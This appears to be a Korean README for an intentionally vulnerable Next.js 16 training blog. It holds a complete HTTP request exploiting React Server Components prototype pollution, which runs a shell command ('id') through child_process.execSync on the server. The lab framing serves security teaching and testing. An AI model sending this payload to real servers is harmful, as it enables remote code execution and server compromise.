
중요: 교육, 테스트 및 익스플로잇 목적으로만 제작된 VULNERABLE Next JS 프로젝트입니다. 프로덕션에 설치하지 않는 것을 권장하며, 로컬 또는 통제된 환경에서만 사용하십시오.
Next.js 16, React 19, shadcn/ui 및 Tailwind CSS로 구축된 현대적이고 세련된 블로그입니다.
Next JS VULNERABLE 프로젝트는 교육, 테스트 및 익스플로잇 목적으로만 만들어졌습니다. 프로덕션 환경에는 설치하지 않는 것이 좋으며, 로컬 또는 통제된 환경에서만 사용하세요.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
npm install
# o
yarn install
# o
pnpm install
npm run dev
# o
yarn dev
# o
pnpm dev
├── app/ # Next.js 페이지
│ ├── blog/[id]/ # 블로그 상세 페이지
│ ├── profile/ # 프로필 페이지
│ ├── layout.tsx # 메인 레이아웃
│ └── page.tsx # 메인 페이지
├── components/ # React 컴포넌트
│ ├── auth/ # 인증 컴포넌트
│ ├── blog/ # 블로그 컴포넌트
│ ├── layout/ # 레이아웃 컴포넌트
│ └── ui/ # shadcn/ui 컴포넌트
├── lib/ # 유틸리티 및 서비스
│ ├── auth.ts # 인증 서비스
│ ├── mocks.ts # 모의 데이터
│ └── utils.ts # 일반 유틸리티
└── public/ # 정적 파일
모든 데이터(블로그, 사용자, 반응)는 완전히 모의 데이터이며 동적으로 생성됩니다. 데이터베이스가 필요하지 않습니다.
이 프로젝트는 교육 목적으로만 사용됩니다.